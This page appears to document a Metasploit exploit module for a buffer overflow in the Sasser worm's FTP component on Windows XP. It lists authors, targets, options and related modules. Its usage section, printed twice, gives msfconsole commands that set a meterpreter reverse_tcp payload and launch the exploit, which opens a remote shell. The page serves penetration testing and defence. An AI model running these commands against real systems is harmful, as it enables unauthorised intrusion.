Sasser Worm avserve FTP PORT Buffer Overflow
This module exploits the FTP server component of the Sasser worm. By sending an overly long PORT command the stack can be overwritten.
Exploit Rank
- Average
Exploit Authors
- valsmith < valsmith [at] metasploit.com >
- chamuco < chamuco [at] gmail.com >
- patrick < patrick [at] osisecurity.com.au >
Vulnerability References
Exploit Targets
- 0 - Windows XP SP0
- 1 - Windows XP SP1 (default)
Exploit Development
Similar Exploit Modules
- exploit/windows/ftp/32bitftp_list_reply
- exploit/windows/ftp/3cdaemon_ftp_user
- exploit/windows/ftp/aasync_list_reply
- exploit/windows/ftp/ability_server_stor
- exploit/windows/ftp/absolute_ftp_list_bof
- exploit/windows/ftp/cesarftp_mkd
- exploit/windows/ftp/dreamftp_format
- exploit/windows/ftp/easyfilesharing_pass
- exploit/windows/ftp/easyftp_cwd_fixret
- exploit/windows/ftp/easyftp_list_fixret
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/ftp/sasser_ftpd_port
msf exploit(sasser_ftpd_port) > show payloads
msf exploit(sasser_ftpd_port) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(sasser_ftpd_port) > set LHOST [MY IP ADDRESS]
msf exploit(sasser_ftpd_port) > set RHOST [TARGET IP]
msf exploit(sasser_ftpd_port) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/ftp/sasser_ftpd_port
msf exploit(sasser_ftpd_port) > show payloads
msf exploit(sasser_ftpd_port) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(sasser_ftpd_port) > set LHOST [MY IP ADDRESS]
msf exploit(sasser_ftpd_port) > set RHOST [TARGET IP]
msf exploit(sasser_ftpd_port) > exploit
Exploit Module Options
| FTPPASS | The password for the specified username (default: mozilla@example.com) |
| FTPUSER | The username to authenticate as (default: anonymous) |
| RHOST | The target address |
| RPORT | The target port (default: 5554) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| FTPDEBUG | Whether or not to print verbose debug statements |
| FTPTimeout | The number of seconds to wait for a reply from an FTP command |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |